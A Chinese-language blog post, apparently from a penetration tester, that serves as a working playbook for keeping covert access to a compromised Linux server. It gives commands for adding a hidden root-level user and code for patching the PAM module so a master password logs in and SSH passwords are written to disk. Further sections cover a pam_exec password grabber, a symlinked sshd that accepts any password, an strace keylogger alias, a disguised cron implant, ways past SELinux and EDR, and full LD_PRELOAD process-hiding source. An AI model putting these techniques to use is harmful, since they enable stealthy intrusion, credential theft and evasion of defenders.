linux常见权限维持

记录一下,虽然linux权限维持不是特别常用,但是因为项目需求原因,还是得熟练掌握。在项目中根据需求用最适合的方法进行维权。

User add

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest

# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd

# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可以通过下面的命令进行排查:

# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

PAM

PAM(Pluggable Authentication Modules)是Linux和Unix系统中的一种标准的认证框架,用于实现身份验证、授权和账户管理。PAM提供了一种灵活的方式,可以通过不同的模块来处理认证和安全相关的任务。

在新版中,PAM的配置文件默认为:/etc/pam.d

创建PAM后门主要是获得目标机器的密码或者能够免密登陆,所以以SSH的PAM文件做演示:

下面来解释一下上图输出的内容:

可以看到主要有四个模块:auth、account、password、session

auth:身份验证,这种类别通常是需要口令来检验的。
account:账户模块接口,检查指定账户是否满足当前验证条件,检查账户是否到期等。
password:密码模块接口,用于更改用户密码,以及强制使用强密码配置
session:会话模块接口,用于管理和配置用户会话。会话在用户成功认证之后启动生效

在上图的第二列

required:若成功则带有 success (成功) 的标志,若失败则带有 failure 的标志,但不论成功或失败都会继续后续的验证流程。 由于后续的验证流程可以继续进行,因此相当有利于数据的登录 (log) ,这也是 PAM 最常使用 required 的原因。

requisite:若验证失败则立刻返回 failure 的标志,并终止后续的验证流程。若验证成功则带有 success 的标志并继续后续的验证流程。 这个项目与 required 最大的差异,就在于失败的时候还要不要继续验证下去。由于 requisite 是失败就终止, 因此失败时所产生的 PAM 信息就无法透过后续的模块来记录了。

sufficient:若验证成功则立刻回传 success 给原程序,并终止后续的验证流程;若验证失败则带有 failure 标志并继续后续的验证流程。 作用与requisits 刚好相反。

optional :该模块返回的通过/失败结果被忽略。当没有其他模块被引用时,标记为optional模块并且成功验证时该模块才是必须的。

第三列

pam_securetty.so:

限制系统管理员只能够从安全的 (secure) 终端机登陆;例如 tty1, tty2 等就是传统的终端机装置名称。就写在/etc/securetty里面

pam_nologin.so:

限制一般用户是否能够登陆主机,当/etc/nologin 这个文件存在时,则所有一般使用者均无法再登陆系统;若 /etc/nologin 存在,则一般使用者在登陆时,在他们的终端机上会将该文件的内容显示出来。所以,正常的情况下,这个文件应该是不能存在系统中的。 但这个模块对 root 以及已经登陆系统中的一般账号并没有影响。

pam_selinux.so:

SELinux 是个针对程序来进行细部管理权限的功能。由于SELinux会影响到用户运行程序的权限,因此需要将SELinux暂时关闭,等到验证通过后,将它启动

pam_console.so:

当系统出现某些问题,或者是某些时刻你需要使用特殊的终端接口 (例如 RS232 之类的终端联机设备) 登陆主机时, 这个模块可以帮助处理一些文件权限的问题,让使用者可以透过特殊终端接口 (console) 顺利的登陆系统。

pam_loginuid.so:

检验登陆UID(系统账号与一般账号的 UID 是不同的,一般账号 UID 均大于500才合理)

pam_env.so:

用来配置环境变量的一个模块,如果你有需要额外的环境变量配置,可以参考/etc/security/pam_env.conf 这个文件的详细说明。

pam_unix.so:

这是个很复杂且重要的模块,这个模块可以用在验证阶段的认证功能,可以用在授权阶段的账号许可证管理, 可以用在会议阶段的登录文件记录等,甚至也可以用在口令升级阶段的检验。

pam_cracklib.so:

检验口令的强度,口令输入几次都失败就断掉此次联机等功能。

selinux

利用PAM之前需要关闭selinux或者修改selinux的策略

关闭selinux:

1.setenforce 0命令关闭

2.将 /etc/selinux/config文件内的SELINUX属性设置为disbaled实现永久关闭。

检查是否成功关闭:

sestatus

修改selinux策略:

可能会有 EDR 监控关闭 selinux 的行为,这个时候可以选择修改selinux策略

audit2allow -a
audit2allow -a -M local
semodule -i local.pp //更新系统上的 SELinux 策略,允许之前被拒绝的操作。

但是有些发行版默认不带 au­dit2al­low,所以需要自行取舍

查询PAM版本

centos: rpm -qa | grep pam
debian: dpkg -l | grep pam

可以看到当前pam的版本为1.3.1,那么接下来下载该版本的PAM源码并且进行修改

https://mirrors.aliyun.com/blfs/conglomeration/Linux-PAM/

常见有以下三种方式

1.创建SSH指定密码

定位Linux-PAM-1.3.1/modules/pam_unix/pam_unix_auth.c

修改为

  /* verify the password of this user */
  retval = _unix_verify_password(pamh, name, p, ctrl);
  if(strcmp("qaxnb",p)==0) return PAM_SUCCESS;
  name = p = NULL;

  AUTH_RETURN;

修改后判断输入的密码是否为qaxnb,如果是root则直接通过验证

编译PAM

./configure --prefix=/usr --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

编译成功会生成pam_unix.so的动态链接库文件,该文件存放于Linux-PAM-1.3.1/modules/pam_unix/.libs根目录下

查找所有的pam_uninx.so

find / -name "pam_unix.so"
cp -f /tmp/Linux-PAM-1.3.1/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

后续通过root:qaxnb成功登陆(以下为了方便演示使用sshpass,实战下不建议使用)

sshpass -p 'qaxnb' ssh root@x.x.x.x

2.记录SSH密码

Linux-PAM-1.3.1/modules/pam_unix/pam_unix_auth.c

   /* verify the password of this user */
   retval = _unix_verify_password(pamh, name, p, ctrl);
     //  if(strcmp("qaxnb",p)==0) return PAM_SUCCESS;
     if(retval==PAM_SUCCESS){
     FILE * fop;
     fop = fopen("/tmp/.sshlog","a");
     fprintf(fop,"%s : %s\n",name,p);
     fclose(fop);
     }
     name = p = NULL;
   AUTH_RETURN;

像上面一样,随后进行编译并且替换本身的pam_unix.so,后面用户SSH登录时的密码就会记录到/tmp/.sshlog文件中。

3.软链接实现免密登录

在sshd服务配置运行PAM认证的前提下,前面也提到过,PAM配置文件中控制标志为sufficient时,验证成功则立刻回传 success 给原程序,并终止后续的验证流程。只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软链接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆。

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12346

除了su以外,还有很多程序的PAM中配置了auth sufficient pam_rootok.so,使用命令

ls /etc/pam.d/ | xargs grep "pam_rootok"

来查找当前拥有这一条配置的PAM配置文件

发现除了su中之外还有chsh、chfn,软连接这些文件同样可以实现任意密码登录。

4.PAM_EXEC 获取SSH密码

PAM_EXEC可以在不用第三方应用和重启的情况下抓取ssh密码

参考:https://www.youtube.com/watch?v=FQGu9jarCWY

pam_exec 是 Linux 下的一种自带 PAM 模块,全称为 Pluggable Authentication Module Exec,通过调用外部程序来扩展和定制 Linux 系统的认证机制,使得系统管理员能够根据具体需求进行灵活配置和增强安全性措施。

pam_exec和strace 方法相比不会生成过大的文件,能自动清理自身不留痕迹。

在/etc/pam.d/sshd的第一行加上(因为有处理的优先级问题,所以一定要放在第一行)

auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh

然后在 /tmp/sshd.sh:

#!/bin/sh
 
echo "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/.passrecord.log

.sh文件需要赋予权限

chmod 777 /tmp/sshd.sh

然后就能抓到登陆的密码了

这个时候会出现一个问题,无论是否登陆成功,密码都会被记录,言外之意就是我们获得的密码可能是错误的,这里可以通过读取/etc/passwd验证hash是否是正确的,也可以自己去一个一个试,自行取舍了。

写公钥

将生成的公钥放到目标的~/.ssh/authorized_keys里面,这个最简单也最实用,看项目的需求和目标的安全人员水平,按需使用。

strace

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc

通过alias可以直接被发现,按需使用。

crontab

有的时候需要留马,crontab是最好的方法,尽量让添加的计划任务看起来可信。

马的路径:/root/.system-4990/post_check

cd /root/.system-4990
ls -alt
  total 932
  drwxr-xr-x 2 root root   4096 Aug 21 04:44 .
  drwx------ 6 root root   4096 Aug 21 04:44 ..
  -rwxr-x--x 1 root root 940640 Aug 21 04:44 post_check
  -rwxr-xr-x 1 root root    140 Aug 21 04:44 post_check.sh

sh:/root/.system-4990/post_check.sh

运行的时候确保唯一性和持续性,避免因为并发执行导致的问题。

#!/bin/bash
exec 101>/tmp/.system-4990/chk_921a.lock || exit 1   //打开并锁定文件
flock -xn 101 || exit 1  //确保唯一
flock -u 101   //释放锁,以便其他进程可以在锁定结束后继续操作
nohup /root/.system-4990/post_check &

给sh添加权限

chmod 777 /root/.system-4990/post_check.sh

执行计划任务

crontab -l
* * * * * /root/.system-4990/post_check.sh

隐藏进程

/proc是一个伪文件系统,只存在在内核中,不占用外存空间,以文件系统的方式为访问系统内核数据的操作提供接口,而在/proc中,每一个进程都有一个相应的文件,以PID号命名。而ps,top等命令都是针对/proc下的文件夹做查询从而输出结果,因此,只需要隐藏进程对应的文件,即可达到隐藏进程的目的。 创建一个空文件夹,挂载此目录到对应的/proc/PID

ps用到了readdir:https://gitlab.com/procps-ng/procps/-/blob/master/library/readproc.c

// This finds processes in /proc in the traditional way.
// Return non-zero on success.
static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
    static __thread struct dirent *ent;   /* dirent handle */
    char *restrict const path = PT->path;
    for (;;) {
        ent = readdir(PT->procfs);
        if (!ent || !ent->d_name[0]) break;
        if (*ent->d_name > '0' && *ent->d_name <= '9') {
            errno = 0;
            p->tgid = strtoul(ent->d_name, NULL, 10);
            if (errno == 0) {
                p->tid = p->tgid;
                snprintf(path, PROCPATHLEN, "/proc/%d", p->tgid);
                return 1;
            }
        }
    }
    return 0;
}

可以看到 ps 的原理是遍历 /proc 目录查看进程列表,然后通过/proc/pid的方式读取目录内容的函数

隐藏/proc/PID

既然ps是通过读取/proc/pid的方式查找对应的进程信息,那么我们可以把想隐藏的进程对应pid的文件挂载到其他目录

例如这里想隐藏723的pid

mkdir /tmp/.hidden
mount -o bind /tmp/.hidden /proc/723

检测方式

cat /proc/$$/mountinfo

劫持lib库

还有一种就是替换 readdir() 的实现,让 readdir() 读取 /proc/ 目录的时候忽略掉想要隐藏的进程。

LD_PRELOAD 是一个环境变量,允许用户或程序在运行时指定共享库的加载顺序。通过设置 LD_PRELOAD,用户可以在其他动态链接库或可执行文件之前预先加载特定的共享库,这在调试、功能扩展或替换某些库的实现时非常有用。

  1. 替换函数实现:你可以通过 LD_PRELOAD 加载一个共享库,该库中包含了与系统库中相同函数名的实现。这样,运行时链接器将优先使用预加载的版本,而不是系统默认版本。
  2. 调试和分析:可以用来插入日志或调试代码,以监控程序对某些库函数的调用。例如,你可以在某些函数调用前后插入打印语句,以观察程序的行为。
  3. 功能扩展:在某些情况下,你可以使用 LD_PRELOAD 添加新的功能或修改现有功能,而不需要修改程序的源代码

具体实现:https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * 过滤的进程名称
 */
static const char* process_to_filter = "evil_script.py";

/*
 * 获取目录名称
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * 获取进程名称
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \ //定义一个宏,指向新的 readdir() 函数。
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \//调用原始 readdir
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \//逐个检查,如果上面的条件都符合,那么就是我们想过滤的进程,直接continue
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

上面实现了在读取目录项时,逐个检查每个目录项是否对应于 /proc 目录下的名为 evil_script.py 的进程,如果是,continue;如果不是,则继续处理并返回该目录项。

其实就相当于一个变向的 HOOK,只要走到readdir()这个函数,那么就由新的函数进行处理,最终实现过滤指定进程pid的效果。

make
sudo mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload


通过ldd命令可以查看ps程序的工作流程,这是一个帮助查看ELF(可执行文件)对象的工具,能够展示依赖项和共享库,可以看到我们自定义加载的so

ldd /bin/ps

同样在/etc/ld.so.preload也可以很简单预定义的so

后续可以通过unset LD_PRELOAD去掉这个环境变量,恢复正常的动态链接库顺序。

其他

参考:https://github.com/g0dA/linuxStack/blob/master/进程隐藏技术的攻与防-攻篇.md

reference

https://forum.butian.net/share/1493

https://9bie.org/index.php/archives/354/

https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/

https://9bie.org/index.php/archives/847/

https://liqiang.io/post/how-to-hide-a-linux-process

https://github.com/jmpews/pwn2exploit/blob/master/linux进程动态so注入.md

https://github.com/g0dA/linuxStack/blob/master/进程隐藏技术的攻与防-攻篇.md

  • Created 2024-10-21 00:18
  • Published 2024-02-16 03:52
  • Updated 2024-10-21 02:02